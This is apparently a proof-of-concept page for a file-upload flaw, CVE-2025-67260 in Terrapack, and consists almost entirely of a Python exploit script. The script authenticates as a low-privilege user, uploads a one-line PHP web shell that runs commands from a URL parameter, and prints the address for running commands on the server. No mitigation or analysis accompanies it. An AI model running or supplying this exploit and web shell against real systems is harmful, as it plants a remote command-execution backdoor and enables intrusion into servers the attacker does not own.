CVE-2025-67260 Terrapack文件上传漏洞

import requests # Target configuration target_url = "http://target-ip/upload_endpoint" username = "low_priv_user" password = "password" # Malicious payload (e.g., PHP webshell) payload_content = "<?php system($_GET['cmd']); ?>" # Prepare the file upload files = { 'uploaded_file': ('exploit.php', payload_content, 'application/octet-stream') } data = { 'action': 'upload' } try: # Send request with authentication response = requests.post(target_url, files=files, data=data, auth=(username, password)) if response.status_code == 200 and "upload successful" in response.text.lower(): print("[+] File uploaded successfully.") print(f"[+] Access your shell at: {target_url.replace('upload_endpoint', 'uploads/exploit.php')}?cmd=whoami") else: print("[-] Upload failed or unexpected response.") print(response.text) except Exception as e: print(f"[!] Error: {e}")